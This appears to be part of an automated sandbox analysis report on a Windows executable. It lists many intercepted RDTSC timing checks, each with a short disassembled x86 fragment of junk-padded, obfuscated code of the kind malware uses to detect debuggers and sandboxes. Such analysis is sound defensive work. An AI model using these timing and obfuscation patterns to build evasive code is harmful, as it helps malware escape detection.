Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4EE68 second address: D4EE74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FE3588107C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F0BE second address: D4F0C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F0C4 second address: D4F0CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F0CF second address: D4F0F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FE3589D55C6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F0F2 second address: D4F0F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F0F6 second address: D4F111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FE3589D55C3h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F111 second address: D4F118 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F3C4 second address: D4F3FC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE3589D55BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE3589D55C7h 0x0000000f jmp 00007FE3589D55C1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F8CE second address: D4F8D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F8D4 second address: D4F910 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007FE3589D55C6h 0x0000000c pop edx 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FE3589D55C7h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F910 second address: D4F914 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5006D second address: D5008D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pop eax 0x00000008 jo 00007FE3589D55DAh 0x0000000e jmp 00007FE3589D55BEh 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5008D second address: D50093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50093 second address: D50097 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D51C68 second address: D51C6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D52D33 second address: D52D39 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5879C second address: D587A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B45F second address: D5B484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jnl 00007FE3589D55B6h 0x0000000c popad 0x0000000d popad 0x0000000e jnp 00007FE3589D55D4h 0x00000014 ja 00007FE3589D55BEh 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B484 second address: D5B48A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B8A6 second address: D5B8BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007FE3589D55BCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5BEC9 second address: D5BEE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE3588107D8h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5BEE6 second address: D5BEEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60509 second address: D6051A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007FE3588107C6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D607B7 second address: D607F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 ja 00007FE3589D55B8h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007FE3589D55B8h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 mov si, 1C00h 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 jl 00007FE3589D55B6h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D607F8 second address: D60802 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE3588107C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60802 second address: D60808 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D622AA second address: D6232D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push edi 0x00000009 call 00007FE3588107C8h 0x0000000e pop edi 0x0000000f mov dword ptr [esp+04h], edi 0x00000013 add dword ptr [esp+04h], 0000001Ah 0x0000001b inc edi 0x0000001c push edi 0x0000001d ret 0x0000001e pop edi 0x0000001f ret 0x00000020 mov edi, 5935E20Ch 0x00000025 jmp 00007FE3588107CBh 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push eax 0x0000002f call 00007FE3588107C8h 0x00000034 pop eax 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 add dword ptr [esp+04h], 00000017h 0x00000041 inc eax 0x00000042 push eax 0x00000043 ret 0x00000044 pop eax 0x00000045 ret 0x00000046 movzx esi, dx 0x00000049 push 00000000h 0x0000004b or esi, dword ptr [ebp+122D3717h] 0x00000051 xchg eax, ebx 0x00000052 push eax 0x00000053 push edx 0x00000054 jl 00007FE3588107DCh 0x0000005a jmp 00007FE3588107D6h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63C8A second address: D63CB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE3589D55BCh 0x00000009 jmp 00007FE3589D55C8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63CB2 second address: D63CB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63CB6 second address: D63CDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE3589D55C5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 je 00007FE3589D55B6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63CDF second address: D63CF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3588107CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63CF2 second address: D63D19 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE3589D55CBh 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007FE3589D55B6h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63D19 second address: D63D1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63D1D second address: D63D23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D643A6 second address: D64422 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FE3588107D2h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007FE3588107C8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 mov esi, edx 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push edi 0x0000002f call 00007FE3588107C8h 0x00000034 pop edi 0x00000035 mov dword ptr [esp+04h], edi 0x00000039 add dword ptr [esp+04h], 0000001Bh 0x00000041 inc edi 0x00000042 push edi 0x00000043 ret 0x00000044 pop edi 0x00000045 ret 0x00000046 push 00000000h 0x00000048 jmp 00007FE3588107CAh 0x0000004d xor dword ptr [ebp+1245407Dh], esi 0x00000053 xchg eax, ebx 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 js 00007FE3588107C6h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64422 second address: D6442C instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE3589D55B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6442C second address: D64447 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007FE3588107CDh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6554F second address: D65555 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D65555 second address: D6555B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6555B second address: D6555F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D660FB second address: D6610C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE3588107C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D65E3A second address: D65E3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6610C second address: D6611A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007FE3588107C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D65E3E second address: D65E44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6611A second address: D6611E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D65E44 second address: D65E5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE3589D55BDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D66C41 second address: D66C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68C84 second address: D68C89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C916 second address: D6C91C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D9E3 second address: D6D9E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D9E7 second address: D6DA07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FE3588107CFh 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007FE3588107C6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6DB23 second address: D6DBA7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE3589D55B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b nop 0x0000000c push esi 0x0000000d jnc 00007FE3589D55B9h 0x00000013 movzx ebx, cx 0x00000016 pop edi 0x00000017 push dword ptr fs:[00000000h] 0x0000001e mov dword ptr [ebp+122D2979h], ebx 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b mov edi, dword ptr [ebp+122D2B95h] 0x00000031 mov eax, dword ptr [ebp+122D12E1h] 0x00000037 push 00000000h 0x00000039 push ebx 0x0000003a call 00007FE3589D55B8h 0x0000003f pop ebx 0x00000040 mov dword ptr [esp+04h], ebx 0x00000044 add dword ptr [esp+04h], 0000001Bh 0x0000004c inc ebx 0x0000004d push ebx 0x0000004e ret 0x0000004f pop ebx 0x00000050 ret 0x00000051 mov edi, dword ptr [ebp+122D2A91h] 0x00000057 jmp 00007FE3589D55C2h 0x0000005c mov bx, 77A0h 0x00000060 push FFFFFFFFh 0x00000062 mov edi, dword ptr [ebp+122D2C8Dh] 0x00000068 nop 0x00000069 push eax 0x0000006a push edx 0x0000006b push edi 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6DBA7 second address: D6DBAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D709DE second address: D709E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6DBAC second address: D6DBB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D709E4 second address: D70A0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FE3589D55C4h 0x0000000d popad 0x0000000e pushad 0x0000000f jo 00007FE3589D55B6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6DBB2 second address: D6DBCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE3588107CEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70A0A second address: D70A24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FE3589D55C2h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6DBCC second address: D6DBD5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70A24 second address: D70A48 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE3589D55CFh 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72021 second address: D72025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72F93 second address: D72F97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72F97 second address: D72F9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D730D3 second address: D730D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D74D58 second address: D74D6A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE3588107C8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75FA5 second address: D75FB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jl 00007FE3589D55BCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76FD0 second address: D76FDA instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE3588107C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D74F7B second address: D74F81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7719E second address: D771A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7810F second address: D78113 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D771A4 second address: D771A9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D78F57 second address: D78F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D78F5C second address: D78F66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FE3588107C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A353 second address: D7A357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7B40A second address: D7B410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A357 second address: D7A35B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C276 second address: D7C2EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FE3588107CBh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007FE3588107C8h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a mov di, ax 0x0000002d and bx, 4351h 0x00000032 xor ebx, 0DF8339Fh 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push eax 0x0000003d call 00007FE3588107C8h 0x00000042 pop eax 0x00000043 mov dword ptr [esp+04h], eax 0x00000047 add dword ptr [esp+04h], 00000015h 0x0000004f inc eax 0x00000050 push eax 0x00000051 ret 0x00000052 pop eax 0x00000053 ret 0x00000054 mov dword ptr [ebp+122D2387h], eax 0x0000005a push 00000000h 0x0000005c xor edi, dword ptr [ebp+122D2AF1h] 0x00000062 xchg eax, esi 0x00000063 push eax 0x00000064 push edx 0x00000065 jo 00007FE3588107C8h 0x0000006b push edx 0x0000006c pop edx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7B410 second address: D7B419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C2EF second address: D7C2F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C2F6 second address: D7C303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7D7D8 second address: D7D7DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D837F2 second address: D837FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D837FB second address: D83821 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE3588107CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007FE3588107D2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D839E4 second address: D839EE instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE3589D55B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83CB3 second address: D83CB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D88B1C second address: D88B6D instructions: 0x00000000 rdtsc 0x00000002 js 00007FE3589D55B8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jl 00007FE3589D55BEh 0x00000016 jg 00007FE3589D55B8h 0x0000001c mov eax, dword ptr [eax] 0x0000001e pushad 0x0000001f push esi 0x00000020 jmp 00007FE3589D55C4h 0x00000025 pop esi 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FE3589D55C8h 0x0000002d rdtsc
